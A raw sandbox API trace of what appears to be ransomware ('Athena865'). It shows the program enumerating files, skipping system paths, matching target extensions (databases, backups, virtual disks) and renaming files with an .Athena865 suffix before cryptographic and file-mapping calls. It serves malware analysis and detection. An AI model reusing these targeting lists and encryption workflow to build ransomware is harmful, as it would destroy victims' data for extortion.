lpString2="vdi") returned 1 [0128.285] lstrlenW (lpString="vhd") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.285] lstrlenW (lpString="vhdx") returned 4 [0128.285] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.285] lstrlenW (lpString="avhd") returned 4 [0128.285] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.285] lstrlenW (lpString="db") returned 2 [0128.285] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.285] lstrlenW (lpString="db2") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.285] lstrlenW (lpString="db3") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.285] lstrlenW (lpString="dbf") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.285] lstrlenW (lpString="mdf") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.285] lstrlenW (lpString="mdb") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.286] lstrlenW (lpString="sql") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.286] lstrlenW (lpString="sqlite") returned 6 [0128.286] lstrcmpiW (lpString1="12.WMF", lpString2="sqlite") returned -1 [0128.286] lstrlenW (lpString="sqlite3") returned 7 [0128.286] lstrcmpiW (lpString1="612.WMF", lpString2="sqlite3") returned -1 [0128.286] lstrlenW (lpString="sqlitedb") returned 8 [0128.286] lstrcmpiW (lpString1="6612.WMF", lpString2="sqlitedb") returned -1 [0128.286] lstrlenW (lpString="xml") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.286] lstrlenW (lpString="$er") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.286] lstrlenW (lpString="4dd") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.286] lstrlenW (lpString="4dl") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.286] lstrlenW (lpString="^^^") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.286] lstrlenW (lpString="abs") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.286] lstrlenW (lpString="abx") returned 3 [0128.286] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.286] lstrlenW (lpString="accdb") returned 5 [0128.286] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0128.286] lstrlenW (lpString="accdc") returned 5 [0128.286] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0128.287] lstrlenW (lpString="accde") returned 5 [0128.287] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0128.287] lstrlenW (lpString="accdr") returned 5 [0128.287] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0128.287] lstrlenW (lpString="accdt") returned 5 [0128.287] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0128.287] lstrlenW (lpString="accdw") returned 5 [0128.287] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0128.287] lstrlenW (lpString="accft") returned 5 [0128.287] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0128.287] lstrlenW (lpString="adb") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.287] lstrlenW (lpString="adb") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.287] lstrlenW (lpString="ade") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.287] lstrlenW (lpString="adf") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.287] lstrlenW (lpString="adn") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.287] lstrlenW (lpString="adp") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.287] lstrlenW (lpString="alf") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.287] lstrlenW (lpString="ask") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.287] lstrlenW (lpString="btr") returned 3 [0128.287] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.288] lstrlenW (lpString="cat") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.288] lstrlenW (lpString="cdb") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.288] lstrlenW (lpString="ckp") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.288] lstrlenW (lpString="cma") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.288] lstrlenW (lpString="cpd") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.288] lstrlenW (lpString="dacpac") returned 6 [0128.288] lstrcmpiW (lpString1="12.WMF", lpString2="dacpac") returned -1 [0128.288] lstrlenW (lpString="dad") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.288] lstrlenW (lpString="dadiagrams") returned 10 [0128.288] lstrcmpiW (lpString1="216612.WMF", lpString2="dadiagrams") returned -1 [0128.288] lstrlenW (lpString="daschema") returned 8 [0128.288] lstrcmpiW (lpString1="6612.WMF", lpString2="daschema") returned -1 [0128.288] lstrlenW (lpString="db-journal") returned 10 [0128.288] lstrcmpiW (lpString1="216612.WMF", lpString2="db-journal") returned -1 [0128.288] lstrlenW (lpString="db-shm") returned 6 [0128.288] lstrcmpiW (lpString1="12.WMF", lpString2="db-shm") returned -1 [0128.288] lstrlenW (lpString="db-wal") returned 6 [0128.288] lstrcmpiW (lpString1="12.WMF", lpString2="db-wal") returned -1 [0128.288] lstrlenW (lpString="dbc") returned 3 [0128.288] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.288] lstrlenW (lpString="dbs") returned 3 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.289] lstrlenW (lpString="dbt") returned 3 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.289] lstrlenW (lpString="dbv") returned 3 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.289] lstrlenW (lpString="dbx") returned 3 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.289] lstrlenW (lpString="dcb") returned 3 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.289] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.Athena865") returned 73 [0128.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.athena865"), dwFlags=0x1) returned 1 [0128.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.291] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9442) returned 1 [0128.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.292] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.293] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.293] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.293] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27f0, lpName=0x0) returned 0x154 [0128.295] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27f0) returned 0x100000 [0128.298] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.300] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.300] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.303] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.303] CloseHandle (hObject=0x154) returned 1 [0128.303] CloseHandle (hObject=0x17c) returned 1 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.304] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2=".") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="..") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="windows") returned -1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="bootmgr") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="temp") returned -1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="pagefile.sys") returned -1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="boot") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ids.txt") returned 1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="ntuser.dat") returned -1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="perflogs") returned -1 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2="MSBuild") returned -1 [0128.304] lstrlenW (lpString="J0216874.WMF") returned 12 [0128.304] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216874.WMF" | out: lpString1="J0216874.WMF") returned="J0216874.WMF" [0128.304] lstrlenW (lpString="J0216874.WMF") returned 12 [0128.304] lstrlenW (lpString="Athena865") returned 9 [0128.304] lstrcmpiW (lpString1="16874.WMF", lpString2="Athena865") returned -1 [0128.304] lstrlenW (lpString=".dll") returned 4 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2=".dll") returned 1 [0128.304] lstrlenW (lpString=".lnk") returned 4 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2=".lnk") returned 1 [0128.304] lstrlenW (lpString=".ini") returned 4 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2=".ini") returned 1 [0128.304] lstrlenW (lpString=".sys") returned 4 [0128.304] lstrcmpiW (lpString1="J0216874.WMF", lpString2=".sys") returned 1 [0128.305] lstrlenW (lpString="J0216874.WMF") returned 12 [0128.305] lstrlenW (lpString="bak") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.305] lstrlenW (lpString="ba_") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.305] lstrlenW (lpString="dbb") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.305] lstrlenW (lpString="vmdk") returned 4 [0128.305] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.305] lstrlenW (lpString="rar") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.305] lstrlenW (lpString="zip") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.305] lstrlenW (lpString="tgz") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.305] lstrlenW (lpString="vbox") returned 4 [0128.305] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.305] lstrlenW (lpString="vdi") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.305] lstrlenW (lpString="vhd") returned 3 [0128.305] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.305] lstrlenW (lpString="vhdx") returned 4 [0128.305] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.305] lstrlenW (lpString="avhd") returned 4 [0128.305] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.305] lstrlenW (lpString="db") returned 2 [0128.305] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.306] lstrlenW (lpString="db2") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.306] lstrlenW (lpString="db3") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.306] lstrlenW (lpString="dbf") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.306] lstrlenW (lpString="mdf") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.306] lstrlenW (lpString="mdb") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.306] lstrlenW (lpString="sql") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.306] lstrlenW (lpString="sqlite") returned 6 [0128.306] lstrcmpiW (lpString1="74.WMF", lpString2="sqlite") returned -1 [0128.306] lstrlenW (lpString="sqlite3") returned 7 [0128.306] lstrcmpiW (lpString1="874.WMF", lpString2="sqlite3") returned -1 [0128.306] lstrlenW (lpString="sqlitedb") returned 8 [0128.306] lstrcmpiW (lpString1="6874.WMF", lpString2="sqlitedb") returned -1 [0128.306] lstrlenW (lpString="xml") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.306] lstrlenW (lpString="$er") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.306] lstrlenW (lpString="4dd") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.306] lstrlenW (lpString="4dl") returned 3 [0128.306] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.307] lstrlenW (lpString="^^^") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.307] lstrlenW (lpString="abs") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.307] lstrlenW (lpString="abx") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.307] lstrlenW (lpString="accdb") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accdb") returned -1 [0128.307] lstrlenW (lpString="accdc") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accdc") returned -1 [0128.307] lstrlenW (lpString="accde") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accde") returned -1 [0128.307] lstrlenW (lpString="accdr") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accdr") returned -1 [0128.307] lstrlenW (lpString="accdt") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accdt") returned -1 [0128.307] lstrlenW (lpString="accdw") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accdw") returned -1 [0128.307] lstrlenW (lpString="accft") returned 5 [0128.307] lstrcmpiW (lpString1="4.WMF", lpString2="accft") returned -1 [0128.307] lstrlenW (lpString="adb") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.307] lstrlenW (lpString="adb") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.307] lstrlenW (lpString="ade") returned 3 [0128.307] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.308] lstrlenW (lpString="adf") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.308] lstrlenW (lpString="adn") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.308] lstrlenW (lpString="adp") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.308] lstrlenW (lpString="alf") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.308] lstrlenW (lpString="ask") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.308] lstrlenW (lpString="btr") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.308] lstrlenW (lpString="cat") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.308] lstrlenW (lpString="cdb") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.308] lstrlenW (lpString="ckp") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.308] lstrlenW (lpString="cma") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.308] lstrlenW (lpString="cpd") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.308] lstrlenW (lpString="dacpac") returned 6 [0128.308] lstrcmpiW (lpString1="74.WMF", lpString2="dacpac") returned -1 [0128.308] lstrlenW (lpString="dad") returned 3 [0128.308] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.309] lstrlenW (lpString="dadiagrams") returned 10 [0128.309] lstrcmpiW (lpString1="216874.WMF", lpString2="dadiagrams") returned -1 [0128.309] lstrlenW (lpString="daschema") returned 8 [0128.309] lstrcmpiW (lpString1="6874.WMF", lpString2="daschema") returned -1 [0128.309] lstrlenW (lpString="db-journal") returned 10 [0128.309] lstrcmpiW (lpString1="216874.WMF", lpString2="db-journal") returned -1 [0128.309] lstrlenW (lpString="db-shm") returned 6 [0128.309] lstrcmpiW (lpString1="74.WMF", lpString2="db-shm") returned -1 [0128.309] lstrlenW (lpString="db-wal") returned 6 [0128.309] lstrcmpiW (lpString1="74.WMF", lpString2="db-wal") returned -1 [0128.309] lstrlenW (lpString="dbc") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.309] lstrlenW (lpString="dbs") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.309] lstrlenW (lpString="dbt") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.309] lstrlenW (lpString="dbv") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.309] lstrlenW (lpString="dbx") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.309] lstrlenW (lpString="dcb") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.309] lstrlenW (lpString="dct") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.309] lstrlenW (lpString="dcx") returned 3 [0128.309] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.309] lstrlenW (lpString="ddl") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.310] lstrlenW (lpString="dlis") returned 4 [0128.310] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.310] lstrlenW (lpString="dp1") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.310] lstrlenW (lpString="dqy") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.310] lstrlenW (lpString="dsk") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.310] lstrlenW (lpString="dsn") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.310] lstrlenW (lpString="dtsx") returned 4 [0128.310] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.310] lstrlenW (lpString="dxl") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.310] lstrlenW (lpString="eco") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.310] lstrlenW (lpString="ecx") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.310] lstrlenW (lpString="edb") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.310] lstrlenW (lpString="epim") returned 4 [0128.310] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.310] lstrlenW (lpString="fcd") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.310] lstrlenW (lpString="fdb") returned 3 [0128.310] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.310] lstrlenW (lpString="fic") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.311] lstrlenW (lpString="flexolibrary") returned 12 [0128.311] lstrlenW (lpString="fm5") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.311] lstrlenW (lpString="fmp") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.311] lstrlenW (lpString="fmp12") returned 5 [0128.311] lstrcmpiW (lpString1="4.WMF", lpString2="fmp12") returned -1 [0128.311] lstrlenW (lpString="fmpsl") returned 5 [0128.311] lstrcmpiW (lpString1="4.WMF", lpString2="fmpsl") returned -1 [0128.311] lstrlenW (lpString="fol") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.311] lstrlenW (lpString="fp3") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.311] lstrlenW (lpString="fp4") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.311] lstrlenW (lpString="fp5") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.311] lstrlenW (lpString="fp7") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.311] lstrlenW (lpString="fpt") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.311] lstrlenW (lpString="frm") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.311] lstrlenW (lpString="gdb") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.311] lstrlenW (lpString="gdb") returned 3 [0128.311] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.312] lstrlenW (lpString="grdb") returned 4 [0128.312] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.312] lstrlenW (lpString="gwi") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.312] lstrlenW (lpString="hdb") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.312] lstrlenW (lpString="his") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.312] lstrlenW (lpString="ib") returned 2 [0128.312] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.312] lstrlenW (lpString="idb") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.312] lstrlenW (lpString="ihx") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.312] lstrlenW (lpString="itdb") returned 4 [0128.312] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.312] lstrlenW (lpString="itw") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.312] lstrlenW (lpString="jet") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.312] lstrlenW (lpString="jtx") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.312] lstrlenW (lpString="kdb") returned 3 [0128.312] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.313] lstrlenW (lpString="kexi") returned 4 [0128.313] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.313] lstrlenW (lpString="kexic") returned 5 [0128.313] lstrcmpiW (lpString1="4.WMF", lpString2="kexic") returned -1 [0128.313] lstrlenW (lpString="kexis") returned 5 [0128.313] lstrcmpiW (lpString1="4.WMF", lpString2="kexis") returned -1 [0128.313] lstrlenW (lpString="lgc") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.313] lstrlenW (lpString="lwx") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.313] lstrlenW (lpString="maf") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.313] lstrlenW (lpString="maq") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.313] lstrlenW (lpString="mar") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.313] lstrlenW (lpString="marshal") returned 7 [0128.313] lstrcmpiW (lpString1="874.WMF", lpString2="marshal") returned -1 [0128.313] lstrlenW (lpString="mas") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.313] lstrlenW (lpString="mav") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.313] lstrlenW (lpString="maw") returned 3 [0128.313] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.313] lstrlenW (lpString="mdbhtml") returned 7 [0128.313] lstrcmpiW (lpString1="874.WMF", lpString2="mdbhtml") returned -1 [0128.313] lstrlenW (lpString="mdn") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.314] lstrlenW (lpString="mdt") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.314] lstrlenW (lpString="mfd") returned 3 